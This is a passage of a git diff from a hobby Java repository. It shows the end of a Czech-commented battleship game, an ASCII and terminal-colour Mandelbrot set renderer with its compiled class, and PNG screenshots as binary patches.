while(!jeKonec()) dalsiTah(); + System.out.println("\n!!! CONGRATULATIONS !!!"); + System.out.println("You have defeated "+impacts+" ships within "+draws+" draws!"); + System.out.println("!!! CONGRATULATIONS !!!\n"); + } + +} + +/** trida lode vytvori BytevniPole a provede vse potrebne ke spusteni hry */ +public class lode { + public static void main(String[] argv) { + System.out.println("Lode (verze pro jednoho hrace)"); + + BitevniPole bp = new BitevniPole(2); //nove bitevni pole (pokud neni zadana velikost, bude pouzita vychozi velikost) + bp.printHelp(); //vypis napovedu + //bp.debug = true; //zapne zobrazeni lodi (to je pri hre nezadouci podvod) + bp.rozmistiLode(2); //kolik lodi chceme? + + bp.hrat(); //hrajeme + + } +} + diff --git a/java/mandelbrot/mandelbrot/mandelbrot.class b/java/mandelbrot/mandelbrot/mandelbrot.class new file mode 100755 index 0000000000000000000000000000000000000000..4260cd8793a0a0737c6d6d23500abb64a7e9aea0 GIT binary patch literal 2582 zcmbVO+fx%~6#uQsCQDoaBT*{Y#%nH!U{DmV0TBTKFDPC>!zP5dkYr=BLGaRxwf3gH zy|jJkOxqVLf zl_p5k5w0ycxp;~xm~bJENqgrw;6%cOHKK+Kg6o1zDVSD}6k^IA{#&F8&uXS_q$Nmw66}`^BSo=Cf@3x^nY9kx)XzptgSxr0&OT?I<(QE) zva~-d!4=hF(}}E+PfyTrkDk`eeG+W`zzE$B7!z>`H3ND&K9o;I0amhX*krsxEmO8!QLz+VX)zWqVWqHMtT|7`e3q7}NV(G0FY4!4 zZHpy2Et_d%SaQzPOg55@rzb=v*RYY##^OD?Rd!0FHW|$t<`ywo72P-}A>!RK-W>7m z+PwSx-lmqZbyovpd-etNnT@ltWHxstc&%^$+H<2@O)YNhxI8tGPoG%df8f&OTw7>+ zPo_O}aX4{dWMbRF#Ob4l&PLBnAL-n*^W=u`;ok19Q$vHtTaQWNY2Q%sCf-ufjvXp? zqC>?l>{hV{dsXZcWWOL`K|0Z;;(#E%;7BE}6W3L|jT;hHy$Fb|yq>fgUD7bB;vL)+ zk#P>R*<&Aj!me6 z4=dqEBZ63uCeqE=ie~oR!j4+m#WwVDDn~ev5o*tI9ur*QX>M?a7I`kQB=)u3<9BdC zW%Se49ddPt)7D;9FW1Y{_0D?dbgT}mzW53uPgU?IIKD-oa+UDKI$UhoGMx^@I-K>c z4*5ovbmz%$CG&3}+wOX*?lSfgh%Q1_o=(oRi#fYF>mF?2O&hBTvz~7B^K_VW5X0>G zB#u%By=;$BWwS~DBJ5(-+|P3Dhaoc(&=m9qig@LwsPbl-RDNKexH+{`7NX6)dRXvP z^3P}peNS`ADyN!-fFr8MDR}u;S`wdta^SIY;P7*S-HlTW(JtS|nltzCs{6GfydGK3 z6tUL5j&kj*JSE4)aXpVkY^Y>&aR|T|JbVyId}qp;hS-2;Ayn&sKG#N(Yy8DzFNv+O zlPHIJXvC`i!d=;AJ%=>nH2x=ge7W6xar%S*C_S)NWN z$o9o!h;o}svQormcXMehi^NS6!Up3We-`&w&PC>AvJAAe*GF1SEKZUy?+=jH@zh1` z`4TluZB1_rBU80xCL2D7z@kk8##*7n|c^0^pO39{?h wEx0m`nBjU|B5>#Uc6p5A3S#8^hsc6xEgX-Cv`1KGYjD^9!&jCFVG-rTf4R3NmH+?% literal 0 HcmV?d00001 diff --git a/java/mandelbrot/mandelbrot/mandelbrot.java b/java/mandelbrot/mandelbrot/mandelbrot.java new file mode 100755 index 0000000..9068562 --- /dev/null +++ b/java/mandelbrot/mandelbrot/mandelbrot.java @@ -0,0 +1,126 @@ +/* + * Mandelbrot set ASCII visualisation + * http://en.wikipedia.org/wiki/Mandelbrot_set + * http://www.root.cz/clanky/barvy-pro-shell/ + * Copylefted by: Harvie 2oo9 + + + aa + aa + aa + aa + aaaccaaa + aaai iaaa + aabaab baabaa + aab baa + aad daa + aab baa + aaaaad daaaaa + aaacccl lcccaaa + dbaaab baaabd + aab baa + aab baa + aaaaah haaaaa + ba aaaak c c kaaaa ab + aabc cbaa + aacabab babacaa + aae ZEN OF CODING eaa + aaa aaa + ae n cc n ea + aaa ab aa afa afa aa ba aaa + + */ + +package mandelbrot; +import java.math.*; + +public class mandelbrot { + public String[] chars = " .`-_\':,;^=+/\\\"|)\\<>)iv%xclrs{*}I?!][1taeo7zjLunT#JCwfy325Fp6mqSghVd4EgXPGZbYkOA&8U$@KHDBWNMR0Q".split(""); + public int max_iteration = 140; + public float zoom = 65; + + public double x_from = -2; + public double x_to = 2; + public double y_from = -2.1; + public double y_to = 2.1; + + public boolean color = false; + public boolean background = false; + + + public mandelbrot() { + max_iteration = 140; + zoom = 65; + + x_from = -2; + x_to = 2; + y_from = -2.1; + y_to = 2.1; + + color = false; + background = false; + } + + public int get_pixel_value(double x0, double y0) { + double x = 0; + double y = 0; + + int iteration = 0; + + while( x*x + y*y <= (2*2) && iteration < max_iteration ) { + double xtemp = x*x - y*y + x0; + y = 2*x*y + y0; + x = xtemp; + iteration++; + } + + if( iteration >= max_iteration ) { + return 0; + } else { + return iteration; + } + + } + + public String get_pixel_character(double x, double y) { + float i = ((float)get_pixel_value(x, y)/(float)max_iteration) * (chars.length-1); + chars[0]=" "; + return chars[Math.round(i)]; + } + + public String get_pixel_xterm_color(double x, double y) { + int i = Math.round( ((float)get_pixel_value(x, y)/max_iteration)*14 ); + return "\033["+((int)(i%2))+";"+(30+(int)(i/2))+"m"; + } + + public String get_pixel_xterm_background(double x, double y) { + int i = 40+Math.round( ((float)get_pixel_value(x, y)/max_iteration)*7 ); + return "\033["+i+"m"; + } + + public static void cls() { + System.out.print("\033[2J"); + } + + public static void top() { + System.out.print("\033[0;0H"); + } + + public void stat() { + System.out.print("ASCII Mandelbrot Set Visualisation (Harvie 2oo9) - Iterations: "+max_iteration+", zoom: "+zoom+" \n"); + } + + public void render() { + //if(color || background) max_iteration = 14; + + double x, y; + for(x=x_from; x<=x_to; x+=5/zoom) { for(y=y_from; y<=y_to; y+=2/zoom) { + if(color) System.out.print(get_pixel_xterm_color(x, y)); + if(background) System.out.print(get_pixel_xterm_background(x, y)); + + System.out.print(get_pixel_character(x, y)); + //System.out.print(get_pixel_color(x, y)+" "); + } System.out.println("\033[0m"); } + } + +} diff --git a/java/mandelbrot/screenshots/chars.png b/java/mandelbrot/screenshots/chars.png new file mode 100755 index 0000000000000000000000000000000000000000..62abca429eb1f2bbfb05b2003d055f994f56ad4f GIT binary patch literal 12139 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 E2RmP7hX4Qo literal 0 HcmV?d00001 diff --git a/java/mandelbrot/screenshots/color.png b/java/mandelbrot/screenshots/color.png new file mode 100755 index 0000000000000000000000000000000000000000..e19dcd207a743798c60cad0d1ed80d68a7e16fdb GIT binary patch literal 5028 zcmc&&dsI?+9>3Z&tu^BAG|7~x&2C3aQ!85uW3ab&PD*7B+C#Dz0TK3IDrY;hXSe3gIr|5PbM7Da`}_XB zpV#;Pd2fKP_2Lza0RXVx?YCn;04!Jn0G8)}V+lUVxprLv{#l*#3yuW<#E;O=BHI;V z2LMaI+P!1z0a~82YkkBYNQsT1p1*ySGSa!c>&pHU!gVO*-On0SRL!)DmF?E@;!B<9 z7lxusD!1nL|IWg)TtHp8>~7GeqHnt{cet;-u`ha6;7z|2o1gL4{ltLE@_BemyfO@bfw0K zqqNQH&cC5T^70~S+7h~lk(2LK=x=IjD4hJn3Rt;j6_9e{8vyujnjS-cp~H)DQ+Nm>bIf)?<*#r>+H(y( z?aV1+I#Khv?0(bjUOnb7wxSO|{CvL`C`#)tUvsVM)6XjD2p^(biyUkR!^dHttMZV} zB)fXDM86v6n6;0a`TK|*(tD5LXM?)&pjPuS)_%Skuja8XEEvJmPbtV+y^=@Pc0QFw zF>hUNJ;c!|PHd32lL}_OhFdVAJ??o&$obOc=*UOK9PU**!Zal2w8%&9jW^4ut4_A__N9?f}f&z;35}WCs@OZ z4yj+w@=e=`F-**Y<+W&m8|x{n(XOmx=*7ztkvub0qJKDcvuUu29@@Pe?qs!r|M?U- z@r1)iNlT(w!q@jsqtp0uj7LCQqOwC&GEHaVoC=-emtJ>sk5|MA0@@HKp+gLri`bBLXYvXX1VfQ5P~S66A&_f@;*eSZJIUL zSTJZ{Ql$nCUnd7gG@yF%GC~+j&8-^qN;6_{CwVU z0Y4tyEFb9Y?B@zIHgfn@a6Ik62o^eI&@uQIUDL79mZ|g zp3bJCk={hNSrlV4>Z-8t(O*TF?y|O-!Rem(0hN9tN4GGaqYEBEROfgz6QSA?6+FE> z?@W4Ix>~c?CcZKV-Ou#IdTcj@1EXMwL z|7=@A1%<&zLPkQ3a3ic*V>aNv$i6k}o)t)$Sl$##sv&XD+#IY^kdX zna&2gw8NNhIFVT)cO@~kMJR@$TR|@ixNnd6NrEI?Mhv-nI##nWyw_#s$;nE`8If~~ z=PxrR2xU*UDi=~unlGEUE=nqOy`kp{-~B;%%!f2M+BC=UN*;iC z2eJ)EP+*1(U&jp_x{`HrBnUqhO&AL~wzj!(U3f2Jh3wI|0f-A%jc1_`ed#J0yH3#CYGX1Cq|pJFilu$jEWG9T=UgD8>=S<2qvOX)ZW$ zN~N3%#mwN8u}CCm%eJ466f3r=j=^y$M3~1G`~ITRx^4PF7BNRCwh^pmfyR(2K=3pF z-5H*(KLSRAM@_+;Y%f7@tF%azx)M&uD@wwn%k3cHOLenDM=F;+(S>y@R2q&1%nJBo?^-8q!qCiG5aSS3j9twU%{j z20fsHaLoW&$Lu`L&Rg2|eYfE&-K&8#GOaRb3ZozpnTHW1rG}a4?Z1m{bZBpasY?ay z;GQc&C=sM(RalD>>JCx&fUeg)(0dTWhg7lsxG-(OD9ce`Dnl8E;{_gIV9MCs=j#Je z&!mk$nlp@&Y+Oz;G(XOQD@^#-xaSA>`uk^FtLVIhU7@Zs67%sbD%$W-vB86=ra(94^2;Mv~c+%fF2gkGJNd-ns}B?*1iRx z)T)5nBQHlWri5HH)&OR(;t@k|g{G$WfHN3L4h+GEW7BOnmN=ne*1!6cB&ybMe@NRC z|LV*Sw`r7zkUiD;;$?3aqSj8dpl39#jrfr!74FOpcg$Ag4#osj0r#q%1LKVjcwr4K zkQhUIfrIgLS7jO~hrF7-3X{6E1@y)OShGwJffz-jzl1xs)FrqreFC`W|Z$ zCR~=*BR$y>bNB=|0fsR_GTk6F=l8qd>SUJbH<}4CH3FAVHJ$Aq&{oZ8tCQ#)rl-WW zd~#lcwA-l4ha}`Y=@A@hJ9ac_fyTURTF|1L3c>8B@`cNe29r5U0(E=wQM<3HaF!*u67gN7=SxfBF|*&LSxQ literal 0 HcmV?d00001 diff --git a/java/mandelbrot/screenshots/colorchars.png b/java/mandelbrot/screenshots/colorchars.png new file mode 100755 index 0000000000000000000000000000000000000000..9635adacbd5b2ff967628f25a09f8d47ba8281bf GIT binary patch literal 44831 zcmcG01yogQ+wGPRq)S4&rKGzQHeJ#JQqm&bjWhz%AT8aXv^3IE64Kq>op)`I80Vbt zzu$kyxOnFQ%sHPG_*7O58Q}o}2n0fw5CHEUR3~_S(!Jdq(GyW4F-l=7-eDLU 